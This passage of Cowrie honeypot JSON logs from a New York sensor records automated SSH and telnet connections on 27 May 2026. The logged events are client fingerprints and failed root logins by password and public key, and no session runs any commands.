sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:56:03.212410Z","src_ip":"37.233.85.71","session":"e6ccf0792c08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ceckbrcerfkbxyjcnm2","message":"login attempt [root/ceckbrcerfkbxyjcnm2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:56:03.549212Z","src_ip":"37.233.85.71","session":"e6ccf0792c08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:56:04.661228Z","src_ip":"37.233.85.71","session":"e6ccf0792c08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53754,"dst_ip":"159.203.135.109","dst_port":23,"session":"12c0d4de1743","protocol":"telnet","message":"New connection: 135.148.14.151:53754 (159.203.135.109:23) [session: 12c0d4de1743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:02.157000Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.177.83","src_port":59758,"dst_ip":"10.17.0.5","dst_port":22,"session":"de8bde705442","protocol":"ssh","message":"New connection: 104.248.177.83:59758 (10.17.0.5:22) [session: de8bde705442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:13.552513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:13.557565Z","src_ip":"104.248.177.83","session":"de8bde705442","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:13.650253Z","src_ip":"104.248.177.83","session":"de8bde705442","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:89:96:e9:bd:24:bf:78:50:6e:38:67:f2:11:0f:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPMhINMrYfYGGgpwam0oYsVLV+ea3deE/reFA2dCV9QOv809fXI739dfUiMBhWJPsU8USaMOP6aoIRXxZL/OCKAhpv7ehxgeCfMPPRd/xuwCpKaXK1AGauyDhJX6DZT5H50ycJxMIW6GaWgo7WBfDE8Ems81jKolO6T3AqCp7fkrLGwbgA08cEyC8ifN/LKeAl+Z83M1AbPQRbmTYQMFDVWa/cW6DS3bTSMDxqEbBh2zasCco4wNJQHt0Ua1yiPmWjdIFAVdOC6nLgPJ/IjivzLxreZ2PYAwV/GsfPjYGdWspA0P7/yeB72XRiKY+8upSgzD3/aM45ApYU89VTKtlt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:89:96:e9:bd:24:bf:78:50:6e:38:67:f2:11:0f:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:14.023369Z","src_ip":"104.248.177.83","session":"de8bde705442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:89:96:e9:bd:24:bf:78:50:6e:38:67:f2:11:0f:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPMhINMrYfYGGgpwam0oYsVLV+ea3deE/reFA2dCV9QOv809fXI739dfUiMBhWJPsU8USaMOP6aoIRXxZL/OCKAhpv7ehxgeCfMPPRd/xuwCpKaXK1AGauyDhJX6DZT5H50ycJxMIW6GaWgo7WBfDE8Ems81jKolO6T3AqCp7fkrLGwbgA08cEyC8ifN/LKeAl+Z83M1AbPQRbmTYQMFDVWa/cW6DS3bTSMDxqEbBh2zasCco4wNJQHt0Ua1yiPmWjdIFAVdOC6nLgPJ/IjivzLxreZ2PYAwV/GsfPjYGdWspA0P7/yeB72XRiKY+8upSgzD3/aM45ApYU89VTKtlt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:14.026991Z","src_ip":"104.248.177.83","session":"de8bde705442","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:4d:0d:10:ce:dc:6c:60:d4:ec:fd:79:80:bb:d6:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQ/uTi2HLcNan80ufdnnUqvLKHtbIx1ETmrdSTtIClrdN3PCIA7JlmSVFBuvGUejhexMKwyWFrzQy1RNlSDiPovS1pKjzL8ALQeeQhRC/CA4OiQC5pYoxnmy7JITzF55oytytgQr45lvBKwK2P8p2IqsfDWvrfHnY1u0Zav0ejz2a2GLcYn0SHb5CdGYM/+KR3fsyEeSOTqhly36dm4F78Vw44vWvA7aQqegRkUSuPyUOGL7LzxgcjW48KL4F/msU4NnSwhPb7BUyBnI4F18QHu3AmTxVSruqlhdbWYh+U4WrOJxbeQcRPQu6pspFvrJ2TU3G8aZ8Gev4efwRMQj1R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:4d:0d:10:ce:dc:6c:60:d4:ec:fd:79:80:bb:d6:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:14.106216Z","src_ip":"104.248.177.83","session":"de8bde705442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:4d:0d:10:ce:dc:6c:60:d4:ec:fd:79:80:bb:d6:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQ/uTi2HLcNan80ufdnnUqvLKHtbIx1ETmrdSTtIClrdN3PCIA7JlmSVFBuvGUejhexMKwyWFrzQy1RNlSDiPovS1pKjzL8ALQeeQhRC/CA4OiQC5pYoxnmy7JITzF55oytytgQr45lvBKwK2P8p2IqsfDWvrfHnY1u0Zav0ejz2a2GLcYn0SHb5CdGYM/+KR3fsyEeSOTqhly36dm4F78Vw44vWvA7aQqegRkUSuPyUOGL7LzxgcjW48KL4F/msU4NnSwhPb7BUyBnI4F18QHu3AmTxVSruqlhdbWYh+U4WrOJxbeQcRPQu6pspFvrJ2TU3G8aZ8Gev4efwRMQj1R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:14.110078Z","src_ip":"104.248.177.83","session":"de8bde705442","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:db:fa:56:dc:d3:45:f4:5e:49:3d:e9:45:a9:10:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwZQvRWmfQLlWsd6kZHyzrxTa1E6eWGAPWt0dTaYYVdytTDLfWNPjfrJRYsYCMgkAum6qIuqt0khbBO2voDS8WYn4oCn8X6Gu41CMIhNCsc5cRqpAYmmS9F3lzGe+OYqzeMzPMhQC20RDvGWrsUtvNCf9O7rcl1HeDzrA6vzXS7f9aidt9SylkWUDSXeFJXQD8FM/QLaIVm0nDHsNPkvZ4E57KIx+Bn4eCpOp/vnm3QKafYS+lH2UwAiY+fT7kWymuIdgPHBFxeSo0TQUSWwY3rZWFSG63zs2lU80Z2rYNteK8Ni2yHAHaxFftFUuvYEV81aaE2IEu65zBhNsDlTNiKBqCDxCNzfN0zUQ0EX4oWWPe+nJn1B4HX8aDEASSMK6OhU+KlMLXxf7bt/es47hDn76NZmSM4IiWILIAulBNy6cvdSjuXpdZdgsoLfgPLCoS4mTMXHO4FUJxLeiAcLJHTPnj6dcSNZV1n2m2My54FZwxEPomjUNULKasQPWo/c6Qn6UOjGf4MrCwRGBFhhh3/e5OAW2VjeCmGfI/84R2czpQ9om6uM9Ski49x5FCH4NgXS1MNIezmW2A/caMJA6pQar8ML2CPpIN70PMMrLTxeBJheecPQDf9F6QKo3nE69AzK6g8KX4GmI/sZLjBHqgvq7hd1lpjd2Sb/dlrDsCIw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:db:fa:56:dc:d3:45:f4:5e:49:3d:e9:45:a9:10:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:14.191685Z","src_ip":"104.248.177.83","session":"de8bde705442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:db:fa:56:dc:d3:45:f4:5e:49:3d:e9:45:a9:10:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCwZQvRWmfQLlWsd6kZHyzrxTa1E6eWGAPWt0dTaYYVdytTDLfWNPjfrJRYsYCMgkAum6qIuqt0khbBO2voDS8WYn4oCn8X6Gu41CMIhNCsc5cRqpAYmmS9F3lzGe+OYqzeMzPMhQC20RDvGWrsUtvNCf9O7rcl1HeDzrA6vzXS7f9aidt9SylkWUDSXeFJXQD8FM/QLaIVm0nDHsNPkvZ4E57KIx+Bn4eCpOp/vnm3QKafYS+lH2UwAiY+fT7kWymuIdgPHBFxeSo0TQUSWwY3rZWFSG63zs2lU80Z2rYNteK8Ni2yHAHaxFftFUuvYEV81aaE2IEu65zBhNsDlTNiKBqCDxCNzfN0zUQ0EX4oWWPe+nJn1B4HX8aDEASSMK6OhU+KlMLXxf7bt/es47hDn76NZmSM4IiWILIAulBNy6cvdSjuXpdZdgsoLfgPLCoS4mTMXHO4FUJxLeiAcLJHTPnj6dcSNZV1n2m2My54FZwxEPomjUNULKasQPWo/c6Qn6UOjGf4MrCwRGBFhhh3/e5OAW2VjeCmGfI/84R2czpQ9om6uM9Ski49x5FCH4NgXS1MNIezmW2A/caMJA6pQar8ML2CPpIN70PMMrLTxeBJheecPQDf9F6QKo3nE69AzK6g8KX4GmI/sZLjBHqgvq7hd1lpjd2Sb/dlrDsCIw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:14.195290Z","src_ip":"104.248.177.83","session":"de8bde705442","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:ad:c5:af:b3:21:4d:b5:c8:60:e8:9a:71:1e:0d:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnIF2Ey3qqa+KbQCJrF4A2igXn7mYHrOhY/PeAGWcUKojtxgUUfs7XpTRpsdyfotNFmbj8gzVm0wsLHL1Ul8PVEL939H0DQpNPD4yNDoix5RrxCdDw/vSbhHbM6vb4B1atzAgFHGbKYUqNAmrM3Z6PoWwDT/hpZceKYln2MOnT1dQvplncbSwkPMZMnx6b00QQ6yfNNShW8+3YYSIKV7gFZB/s2K111BdlbXl+3Qt4ogW9vROzlhiTUr1LfnNA9yoKux0fYIxLWuqf1HbIiVGDfOpQhav8CaiBmw9axNeDMwY6Rv007scFwwZANRLoS4j873AXc0dtMIJDKxuUCYIP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:ad:c5:af:b3:21:4d:b5:c8:60:e8:9a:71:1e:0d:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:14.275158Z","src_ip":"104.248.177.83","session":"de8bde705442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:ad:c5:af:b3:21:4d:b5:c8:60:e8:9a:71:1e:0d:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnIF2Ey3qqa+KbQCJrF4A2igXn7mYHrOhY/PeAGWcUKojtxgUUfs7XpTRpsdyfotNFmbj8gzVm0wsLHL1Ul8PVEL939H0DQpNPD4yNDoix5RrxCdDw/vSbhHbM6vb4B1atzAgFHGbKYUqNAmrM3Z6PoWwDT/hpZceKYln2MOnT1dQvplncbSwkPMZMnx6b00QQ6yfNNShW8+3YYSIKV7gFZB/s2K111BdlbXl+3Qt4ogW9vROzlhiTUr1LfnNA9yoKux0fYIxLWuqf1HbIiVGDfOpQhav8CaiBmw9axNeDMwY6Rv007scFwwZANRLoS4j873AXc0dtMIJDKxuUCYIP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:14.278874Z","src_ip":"104.248.177.83","session":"de8bde705442","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:ef:dc:7f:1e:78:ca:03:14:14:5e:53:ec:f7:a9:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDxbabC1kFX2X1m7v1u2e4TRAUPcjT+KDjxIZRzvRgFWAUKktPVJ8jIJ0lkp071yfsk5/CXNOLA6ynDHddebRjM5Yx4XPAiMH5EB7Z3r53UTVuCF5zYhAzCBAyvY2uMwaSLz0qEAIoNKN0URiGl202VeTVBoBD0lJGCO5BuDWzD4vCkKwAn9v+u6e+bZ/I2N65hHqJD96JSDOkviK3q0lq36BgcwsBroYh1lvVVw5kJJZaVqusM4PG/0q7zfp1WtqnNwUk7BbkppPe8wcmjUtGpbTJff9qmxswTXpgObzZ39blugdBiLdnEjejoZGn2mpvakvj/wnzXIueRKRrQ0Bf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:ef:dc:7f:1e:78:ca:03:14:14:5e:53:ec:f7:a9:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:14.358447Z","src_ip":"104.248.177.83","session":"de8bde705442","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:ef:dc:7f:1e:78:ca:03:14:14:5e:53:ec:f7:a9:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDxbabC1kFX2X1m7v1u2e4TRAUPcjT+KDjxIZRzvRgFWAUKktPVJ8jIJ0lkp071yfsk5/CXNOLA6ynDHddebRjM5Yx4XPAiMH5EB7Z3r53UTVuCF5zYhAzCBAyvY2uMwaSLz0qEAIoNKN0URiGl202VeTVBoBD0lJGCO5BuDWzD4vCkKwAn9v+u6e+bZ/I2N65hHqJD96JSDOkviK3q0lq36BgcwsBroYh1lvVVw5kJJZaVqusM4PG/0q7zfp1WtqnNwUk7BbkppPe8wcmjUtGpbTJff9qmxswTXpgObzZ39blugdBiLdnEjejoZGn2mpvakvj/wnzXIueRKRrQ0Bf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:14.362227Z","src_ip":"104.248.177.83","session":"de8bde705442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:14.442191Z","src_ip":"104.248.177.83","session":"de8bde705442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.34803128242493,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:38.504863Z","src_ip":"135.148.14.151","session":"12c0d4de1743","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":39092,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e20178ec0e4","protocol":"ssh","message":"New connection: 87.251.79.125:39092 (10.17.0.5:22) [session: 2e20178ec0e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:51.597842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:51.603075Z","src_ip":"87.251.79.125","session":"2e20178ec0e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:51.677445Z","src_ip":"87.251.79.125","session":"2e20178ec0e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13041988","message":"login attempt [root/13041988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:51.898553Z","src_ip":"87.251.79.125","session":"2e20178ec0e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:57:52.980274Z","src_ip":"87.251.79.125","session":"2e20178ec0e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":51336,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d1539d60ba8","protocol":"ssh","message":"New connection: 94.159.98.239:51336 (159.203.135.109:22) [session: 1d1539d60ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:58:30.957983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:58:30.997261Z","src_ip":"94.159.98.239","session":"1d1539d60ba8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:58:31.093233Z","src_ip":"94.159.98.239","session":"1d1539d60ba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12121212a","message":"login attempt [root/12121212a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:58:31.893118Z","src_ip":"94.159.98.239","session":"1d1539d60ba8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:58:33.133061Z","src_ip":"94.159.98.239","session":"1d1539d60ba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":44238,"dst_ip":"10.17.0.5","dst_port":22,"session":"774f0205de84","protocol":"ssh","message":"New connection: 103.122.221.179:44238 (10.17.0.5:22) [session: 774f0205de84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:58:33.250349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:58:33.254998Z","src_ip":"103.122.221.179","session":"774f0205de84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:58:33.504138Z","src_ip":"103.122.221.179","session":"774f0205de84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"killer007","message":"login attempt [root/killer007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T16:58:34.251922Z","src_ip":"103.122.221.179","session":"774f0205de84","protocol":"ssh"}
